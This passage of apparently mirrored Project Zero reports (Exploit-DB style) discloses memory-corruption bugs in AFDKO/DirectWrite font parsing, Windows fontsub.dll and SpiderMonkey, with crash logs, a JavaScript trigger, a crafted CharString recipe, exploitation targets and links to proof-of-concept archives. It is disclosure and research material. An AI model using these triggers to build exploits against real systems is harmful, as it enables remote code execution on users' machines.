    95          float composeOpArray[TX_MAX_OP_STACK_CUBE];
    96          double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */
    97      } cube[CUBE_LE_STACKDEPTH];
--- cut ---

The CUBE_LE_STACKDEPTH constant is defined in c/public/lib/resource/txops.h as:

--- cut ---
   193  #define CUBE_LE_STACKDEPTH 6
--- cut ---

The "cubeStackDepth" index is incremented in t2Decode() (c/public/lib/source/t2cstr/t2cstr.c), in the handling of the tx_compose operation (number 2):

--- cut ---
  1318              case tx_compose:
[...]
  1365                  h->cubeStackDepth++;
  1366                  /* copy compose ops to h->cubeOpArray */
  1367                  h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt;
  1368                  while (h->stack.cnt-- > 0)
  1369                      h->cube[h->cubeStackDepth].composeOpArray[h->stack.cnt] = h->stack.array[h->stack.cnt];
  1370                  h->stack.cnt = 0;
[...]
--- cut ---

However there is no upper bound check of the value of the field, so by invoking the tx_compose operation several times in a row, it is possible to set it out of bounds. As user-controlled reads and writes can be performed on h->cube[h->cubeStackDepth], this may lead to non-continuous memory corruption and remote code execution. Various members of the _t2cCtx structure make a good target for overwriting, including the interpreter stack index/limit, the cff2/glyph/mem callback pointers etc. Furthermore, the _t2cCtx object itself is declared in the stack frame of the t2cParse() function, so stack frame pointers, return addresses and other control flow information can be corrupted through this vulnerability as well.

-----=====[ Proof of Concept ]=====-----

The proof of concept file triggers the bug upon decoding the instruction stream for letter "A". It calls the only global subroutine (index 0), which then indefinitely, recursively invokes itself through the tx_compose operator, each time incrementing h->cubeStackDepth by one. After several dozen iterations the function reaches the bottom of the stack and crashes with SIGSEGV / ACCESS_VIOLATION while accessing an invalid memory address.

-----=====[ Crash logs ]=====-----

A crash log from the "tx" tool being part of AFDKO, run as ./tx -cff <path to font file>:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x000000000045deaa in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1367
1367                    h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt;
(gdb) print h->cubeStackDepth
$1 = 69
(gdb) print h->cube[h->cubeStackDepth]
Cannot access memory at address 0x7ffffffff488
(gdb) print h->cube[h->cubeStackDepth].composeOpCnt
Cannot access memory at address 0x7ffffffff4a0
(gdb) x/10i $rip
=> 0x45deaa <t2Decode+1130>:    mov    %ecx,0x18(%rax)
   0x45dead <t2Decode+1133>:    mov    -0x18(%rbp),%rax
   0x45deb1 <t2Decode+1137>:    mov    0x8(%rax),%rcx
   0x45deb5 <t2Decode+1141>:    mov    %rcx,%rdx
   0x45deb8 <t2Decode+1144>:    add    $0xffffffffffffffff,%rdx
   0x45debc <t2Decode+1148>:    mov    %rdx,0x8(%rax)
   0x45dec0 <t2Decode+1152>:    cmp    $0x0,%rcx
   0x45dec4 <t2Decode+1156>:    jle    0x45df0e <t2Decode+1230>
   0x45deca <t2Decode+1162>:    mov    -0x18(%rbp),%rax
   0x45dece <t2Decode+1166>:    mov    -0x18(%rbp),%rcx
(gdb) info reg $rax
rax            0x7ffffffff488   140737488352392
(gdb)
--- cut ---

A crash log from the Microsoft Edge renderer process, while trying to print a webpage containing the malformed variable font:

--- cut ---
(3fa8.3104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!t2Decode+0x203:
00007ff9`ac0f1777 89943938590000  mov     dword ptr [rcx+rdi+5938h],edx ds:000000d9`a5541448=????????

0:038> !teb
TEB at 000000d9a274f000
    ExceptionList:        0000000000000000
    StackBase:            000000d9a5540000
    StackLimit:           000000d9a552b000

0:038> ? edx
Evaluate expression: 4 = 00000000`00000004
0:038> ? rcx
Evaluate expression: 64320 = 00000000`0000fb40
0:038> ? rdi
Evaluate expression: 934781566928 = 000000d9`a552bfd0

0:038> k
 # Child-SP          RetAddr           Call Site
00 000000d9`a552b090 00007ff9`ac0f186e DWrite!t2Decode+0x203
01 000000d9`a552b1d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
02 000000d9`a552b310 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
03 000000d9`a552b450 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
04 000000d9`a552b590 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
05 000000d9`a552b6d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
06 000000d9`a552b810 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
07 000000d9`a552b950 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
08 000000d9`a552ba90 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
09 000000d9`a552bbd0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
0a 000000d9`a552bd10 00007ff9`ac0f1eba DWrite!t2Decode+0x2fa
0b 000000d9`a552be50 00007ff9`ac0f4a62 DWrite!t2Decode+0x946
0c 000000d9`a552bf90 00007ff9`ac0dc103 DWrite!t2cParse+0x28e
0d 000000d9`a553b8f0 00007ff9`ac0de3f7 DWrite!readGlyph+0x12b
0e 000000d9`a553b960 00007ff9`ac0d2272 DWrite!cfrIterateGlyphs+0x37
0f 000000d9`a553b9b0 00007ff9`ac06157a DWrite!AdobeCFF2Snapshot+0x19a
10 000000d9`a553beb0 00007ff9`ac060729 DWrite!FontInstancer::InstanceCffTable+0x212
11 000000d9`a553c090 00007ff9`ac06039a DWrite!FontInstancer::CreateInstanceInternal+0x249
12 000000d9`a553c2b0 00007ff9`ac045a4e DWrite!FontInstancer::CreateInstance+0x192
13 000000d9`a553c610 00007ff9`b71161ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
14 000000d9`a553c6a0 00007ff9`b7109148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
15 000000d9`a553c7c0 00007ff9`904e50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
16 000000d9`a553c810 00007ff9`904bfcb0 edgehtml!CDXPrintControl::Close+0x44
17 000000d9`a553c860 00007ff9`904c47ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
18 000000d9`a553c890 00007ff9`9039b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
19 000000d9`a553c8c0 00007ff9`00000000 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
[...]
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47086.zip
            
/*
For constructors, Spidermonkey implements a "definite property analysis" [1] to compute which properties will definitely exist on the constructed objects. Spidermonkey then directly allocates the constructed objects with the final Shape. As such, at the entrypoint of the constructor the constructed objects will already "look like" they have all the properties that are only installed throughout the constructor. This mechanism e.g. makes it possible to omit some Shape updates in JITed code. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 for another short explanation of this mechanism.

The definite property analysis must ensure that "predefining" the properties in such a way will not be visible to the running script. In particular, it can only mark properties as definite if they aren't read or otherwise accessed before the assignment.

In the following JavaScript program, discovered through fuzzing and then manually modified, Spidermonkey appears to incorrectly handle such a scenario:
*/

    l = undefined;

    function v10() {
        let v15 = 0;
        try {
            const v16 = v15.foobar();
        } catch(v17) {
            l = this.uninitialized;
        }
        this.uninitialized = 1337;
    }

    for (let v36 = 0; v36 < 100; v36++) {
        const v38 = new v10();
        if (l !== undefined) {
            console.log("Success: 0x" + l.toString(16));
            break;
        }
    }

/*
When run on a local Spidermonkey built from the beta branch or in Firefox 66.0.3 with `javascript.options.unboxed_objects` set to true in about:config, it will eventually output something like:

	Success: 0x2d2d2d2d

Here, the definite property analysis concluded that .uninitialized is definitely assigned to the constructed objects and not accessed before it is assigned (which is wrong). In particular, it seems that the catch block is entirely ignored by the analysis as it is not present in the Ion graph representation of v10 on which the analysis is performed. As such, when reading .uninitialized in the catch block, uninitialized memory (which seems to be initialized with 0x2d in debug builds) is read from `this` and later printed to stdout. If the line `this.uninitialized = 1337;` is modified to instead assign a double value (e.g. `this.uninitialized = 13.37;`), then an assertion failure can be observed:

    Assertion failure: isDouble(), at js/src/build_DBG.OBJ/dist/include/js/Value.h:450

As unboxed properties can also store JSObject pointers, this bug can likely be turned into memory corruption as well. However, since this requires unboxed object, which have recently been disabled by default and appear to be fully removed soon, it likely only affects non-standard configurations of FireFox. If unboxed objects are disabled (e.g. through --no-unboxed-objects), then the analysis will still be incorrect and determine that .uninitialized can be "predefined". This can be observed by changing `l = this.uninitialized;` to `l = this.hasOwnProperty('uninitialized');` which will incorrectly return true. In that case, the property slots seem to be initialized with `undefined` though, so no memory safety violation occurs. However, I have not verified that they will always be initialized in that way. Furthermore, it might be possible to confuse property type inference in that case, but I have not attempted that.


Below is the original sample triggered by fuzzilli. It ended up reading the property by spreading |this|.

    // Run with --no-threads --ion-warmup-threshold=100
    function main() {
    const v3 = Object != Object;
    let v4 = v3;
    const v5 = typeof undefined;
    const v7 = v5 === "undefined";
    const v9 = Array();
    function v10(v11,v12) {
        let v15 = 0;
        try {
            const v16 = v15.race();
        } catch(v17) {
            for (let v21 = 0; v21 < 7; v21++) {
                let v24 = 0;
                while (v24 < 256) {
                    const v25 = v24 + 1;
                    v24 = v25;
                }
                const v26 = Array == v21;
                const v27 = {trimStart:v4,seal:v10,...v26,...v9,...v26,...v26,...this,...v7};
            }
        }
        for (let v30 = 0; v30 < 9; v30++) {
        }
        const v31 = v4 + 1;
        this.E = v31;
    }
    const v32 = v10();
    for (let v36 = 0; v36 < 5; v36++) {
        const v38 = new v10();
        let v39 = Object;
        const v41 = Object();
        const v42 = v41.getOwnPropertyDescriptors;
        let v43 = v42;
        const v44 = {LN10:v42,unshift:Object,isFinite:Object,test:v41,...v43,...v39,...v41};
    }
    }
    main();
    gc();
*/
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered the following crash in fontsub!MergeFonts:

--- cut ---
(5f7c.29fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!MergeFonts+0x774:
00007fff`aa53b214 413944cd00      cmp     dword ptr [r13+rcx*8],eax ds:0000018a`014e8000=????????

0:000> ? r13
Evaluate expression: 1692239036224 = 0000018a`014e7f40

0:000> ? rcx
Evaluate expression: 24 = 00000000`00000018

0:000> ? eax
Evaluate expression: 1191239935 = 00000000`4700e0ff

0:000> dd r13 r13+18*8-1
0000018a`014e7f40  68656164 c18e145a 000000cc 00000036
0000018a`014e7f50  68686561 0bde01ea 00000104 00000024
0000018a`014e7f60  6d617870 0666d833 00000128 00000020
0000018a`014e7f70  686d7478 4872344e 00000148 0000016a
0000018a`014e7f80  636d6170 4079c39a 000002b4 00000996
0000018a`014e7f90  676c7966 4ec7e46c 00000c4c 00009e8c
0000018a`014e7fa0  6c6f6361 a4f67e41 0000aad8 00000166
0000018a`014e7fb0  45424454 fe7d185f 0000b148 00000145
0000018a`014e7fc0  45424c43 1babe979 0000ac40 00000508
0000018a`014e7fd0  62646174 fe7d185f 0000b798 00000145
0000018a`014e7fe0  626c6f63 1babe979 0000b290 00000508
0000018a`014e7ff0  64747466 74f237b6 0000b8e0 00000176

0:000> !heap -p -a r13
    address 0000018a014e7f40 found in
    _DPH_HEAP_ROOT @ 18a01001000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             18a0100f068:      18a014e7f40               c0 -      18a014e7000             2000
          unknown!printable
    00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
    00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
    00007fffb4efbe42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
    00007fffcca398f0 msvcrt!malloc+0x0000000000000070
    00007fffaa53fd1e FONTSUB!Mem_Alloc+0x0000000000000012
    00007fffaa53abbd FONTSUB!MergeFonts+0x000000000000011d
    00007fffaa53baac FONTSUB!MergeDeltaTTF+0x00000000000003ec
    00007fffaa5314b2 FONTSUB!MergeFontPackage+0x0000000000000132
[...]

0:000> k
 # Child-SP          RetAddr           Call Site
00 00000079`dc4fd910 00007fff`aa53baac FONTSUB!MergeFonts+0x774
01 00000079`dc4fdac0 00007fff`aa5314b2 FONTSUB!MergeDeltaTTF+0x3ec
02 00000079`dc4fdc00 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132
[...]
--- cut ---

The root cause of the crash seems to be an out-of-bounds access to an array storing SFNT table headers.

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47084.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object:

--- cut ---
    70      struct /* Operand stack */
    71      {
    72          long cnt;
    73          float array[CFF2_MAX_OP_STACK];
    74          unsigned short numRegions;
    75          long blendCnt;
    76          abfOpEntry blendArray[CFF2_MAX_OP_STACK];
    77          abfBlendArg blendArgs[T2_MAX_STEMS];
    78      } stack;
--- cut ---

The "cnt" and "array" fields correspond to the regular stack used by all kinds of OpenType fonts. The remaining fields only have a purpose in the handling of the new CFF2 format (variable fonts). Whenever a new value is pushed on the stack, it is written to array[] and optionally blendArray[], as seen in the definition of the PUSH() macro:

--- cut ---
   153  #define PUSH(v)                                                                                       \
   154      {                                                                                                 \
   155          if (h->aux->flags & T2C_IS_CFF2) h->stack.blendArray[h->stack.blendCnt++].value = (float)(v); \
   156          h->stack.array[h->stack.cnt++] = (float)(v);                                                  \
   157      }
--- cut ---

However, the reverse POP() macro only pops a value from the main stack, and doesn't touch blendCnt/blendArray:

--- cut ---
   152  #define POP() (h->stack.array[--h->stack.cnt])
--- cut ---

This assymetry creates the following problem: there are CFF instructions such as the arithmetic ones, which take values from the top of the stack, use them as factors in some operation, and push the result back. More formally, they pop N values and push back M values, where N != 0, M != 0, N >= M. After executing such an instruction, the stack index is smaller or equal to its previous value.

Because of this, the interpreter doesn't need to check for stack overflow (use the CHKOFLOW macro), and instead must only check if there are enough input values on the stack (with CHKUFLOW). Examples of such behavior are shown below:

--- cut ---
  1616                          case tx_abs:
  1617                              CHKUFLOW(h, 1);
  1618                              {
  1619                                  float a = POP();
  1620                                  PUSH((a < 0.0f) ? -a : a);
  1621                              }
  1622                              continue;
  1623                          case tx_add:
  1624                              CHKUFLOW(h, 2);
  1625                              {
  1626                                  float b = POP();
  1627                                  float a = POP();
  1628                                  PUSH(a + b);
  1629                              }
  1630                              continue;
--- cut ---

However, this approach is only valid if the PUSH/POP operations are fully symmetric. In the current state of the code, the execution of each such instruction increments the blendCnt counter without verifying if it goes out-of-bounds. By executing many such instructions in a variable font, it possible to overflow blendArray[] and corrupt the memory after it, including other fields of the t2cCtx object and further data stored on the thread's native stack. This may eventually lead to arbitrary code execution.

-----=====[ Proof of Concept ]=====-----

The proof of concept file includes a specially crafted CharString for glyph "A" of the format:

--- cut ---
1621139584 134217728 div dup exch exch exch exch exch ...
--- cut ---

The initial four instructions craft two floats on the stack with a binary representation of 0x41414141. The remaining part of the program is the "exch" instruction repeated 30000 times, which keeps the number of elements on the regular stack at 2 (by just continuously exchanging them), while filling out the t2cCtx.stack.blendArray array with more and more data until it is overflown.

-----=====[ Crash logs ]=====-----

A 64-bit "tx" utility compiled with AddressSanitizer and a custom patch to insert ASAN redzones in between the t2cCtx structure fields crashes with the following report, when run as ./tx -cff poc.otf:

--- cut ---
=================================================================
==158130==ERROR: AddressSanitizer: use-after-poison on address 0x7ffc38744c30 at pc 0x000000682b20 bp 0x7ffc3873e950 sp 0x7ffc3873e948
WRITE of size 4 at 0x7ffc38744c30 thread T0
    #0 0x682b1f in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33
    #1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
    #2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
    #3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
    #4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
    #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #9 0x7fc9e2d372b0 in __libc_start_main
    #10 0x41e5b9 in _start

Address 0x7ffc38744c30 is located in stack of thread T0 at offset 10512 in frame
    #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523

  This frame has 2 object(s):
    [32, 757896) 'h' (line 2524) <== Memory access at offset 10512 is inside this variable
    [758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33 in t2Decode
Shadow bytes around the buggy address:
  0x1000070e0930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000070e0940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000070e0950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000070e0960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000070e0970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000070e0980: 00 00 00 00 00 00[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000070e0990: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000070e09a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000070e09b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000070e09c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
  0x1000070e09d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==158130==ABORTING
--- cut ---

The same "tx" program compiled without instrumentation crashes when reaching the end of the stack while still trying to write more data to blendArray. The 0x41414141 values written all over the stack can be seen in gdb's corrupted stack trace listing.

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730
1730                                    PUSH(a);
(gdb) info reg $rax $rsp
rax            0x7ffffffff008   140737488351240
rsp            0x7ffffff5fd60   0x7ffffff5fd60
(gdb) p/x $xmm0
$1 = {v4_float = {0xc, 0x0, 0x0, 0x0}, v2_double = {0x0, 0x0}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x0 <repeats 12 times>}, v8_int16 = {0x4141, 0x4141,
    0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x41414141, 0x0, 0x0, 0x0}, v2_int64 = {0x41414141, 0x0}, uint128 = 0x00000000000000000000000041414141}
(gdb) where
#0  0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730
#1  0x000000000045cb26 in t2cParse (offset=1094795585, endOffset=83566, aux=0x41414141, gid=2, cff2=0x41414141, glyph=0x6fd6e8, mem=0x7150b8)
    at ../../../../../source/t2cstr/t2cstr.c:2591
#2  0x0000000041414141 in ?? ()
#3  0x00000000007150b8 in ?? ()
#4  0x0000000041414141 in ?? ()
#5  0x00007fffffffd620 in ?? ()
#6  0x0000000041414141 in ?? ()
#7  0xfffffffffffffffc in ?? ()
#8  0x0000000041414141 in ?? ()
#9  0x0000000000474840 in ?? () at ../../../../../source/tx_shared/tx_shared.c:4891
#10 0x0000000041414141 in ?? ()
(gdb) print h->stack.blendCnt
$2 = 40551
--- cut ---

The Microsoft Edge renderer process crashes while trying to dereference a partially overwritten h->aux pointer:

--- cut ---
(51fc.496c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!t2Decode+0x119c:
00007ffb`29e82710 f60080          test    byte ptr [rax],80h ds:000001d3`41414141=??
0:038> k
 # Child-SP          RetAddr           Call Site
00 0000006a`3df8b9e0 00007ffb`29e84a62 DWrite!t2Decode+0x119c
01 0000006a`3df8bb20 00007ffb`29e6c103 DWrite!t2cParse+0x28e
02 0000006a`3df9b480 00007ffb`29e6e3f7 DWrite!readGlyph+0x12b
03 0000006a`3df9b4f0 00007ffb`29e62272 DWrite!cfrIterateGlyphs+0x37
04 0000006a`3df9b540 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x19a
05 0000006a`3df9ba40 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
06 0000006a`3df9bc20 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
07 0000006a`3df9be40 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
08 0000006a`3df9c1a0 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
09 0000006a`3df9c230 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
0a 0000006a`3df9c350 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0b 0000006a`3df9c3a0 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
0c 0000006a`3df9c3f0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0d 0000006a`3df9c420 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0e 0000006a`3df9c450 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0f 0000006a`3df9c490 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47092.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.

-----=====[ Description ]=====-----

The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object:

--- cut ---
    70      struct /* Operand stack */
    71      {
    72          long cnt;
    73          float array[CFF2_MAX_OP_STACK];
    74          unsigned short numRegions;
    75          long blendCnt;
    76          abfOpEntry blendArray[CFF2_MAX_OP_STACK];
    77          abfBlendArg blendArgs[T2_MAX_STEMS];
    78      } stack;
--- cut ---

Values are popped off the stack in the instruction handlers in t2Decode() using the POP() macro:

--- cut ---
   152  #define POP() (h->stack.array[--h->stack.cnt])
--- cut ---

As the macro assumes that the stack is non-empty, another macro in the form of CHKUFLOW() is required to verify this requirement:

--- cut ---
   137  /* Check stack contains at least n elements. */
   138  #define CHKUFLOW(h, n)                                       \
   139      do {                                                     \
   140          if (h->stack.cnt < (n)) return t2cErrStackUnderflow; \
   141      } while (0)
--- cut ---

As a result, it is essential for the interpreter's memory safety to invoke CHKUFLOW() with an appropriate "n" argument before using POP() the corresponding number of times. In a majority of cases, the interpreter operates on the stack correctly; however, we have found several instances where the CHKUFLOW() calls are missing. The problems were identified in the handling of the following instructions:

- tx_callgrel
- tx_rmoveto
- tx_vmoveto
- tx_hmoveto
- tx_SETWVN

For example, the handler of the "rmoveto" instruction is shown below:

--- cut ---
  1484              case tx_rmoveto:
  1485                  if (callbackWidth(h, 1))
  1486                      return t2cSuccess;
  1487                  {
  1488                      float y = POP();
  1489                      float x = POP();
  1490                      if ((h->flags & IS_CFF2) && (h->glyph->moveVF != NULL))
  1491                          popBlendArgs2(h, &INDEX_BLEND(0), &INDEX_BLEND(1));
  1492                      callbackMove(h, x, y);
  1493                  }
  1494                  break;
--- cut ---

It's clear that the two POP() invocations in lines 1488 and 1489 are not preceded by CHKUFLOW(). Such bugs may have two kinds of security-relevant consequences:

1. Out-of-bounds data is read and used as arguments to the affected instructions,
2. The stack index becomes negative, which could facilitate overwriting memory residing directly before the stack array.

In this particular case, the stack counter itself is placed before the stack array. This means that consequence #1 is not really a problem as the out-of-bounds data is initialized and its value is known to the attacker. As for item #2 -- an attack would require the CharString execution loop to continue to the next instruction while preserving the negative value of h->stack.cnt. For the rmoveto, vmoveto and hmoveto instructions, the stack counter is reset back to 0 in line 2303, because their handlers end with a "break;" statement:

--- cut ---
  2301          } /* End: switch (byte0) */
  2302          clearBlendStack(h);
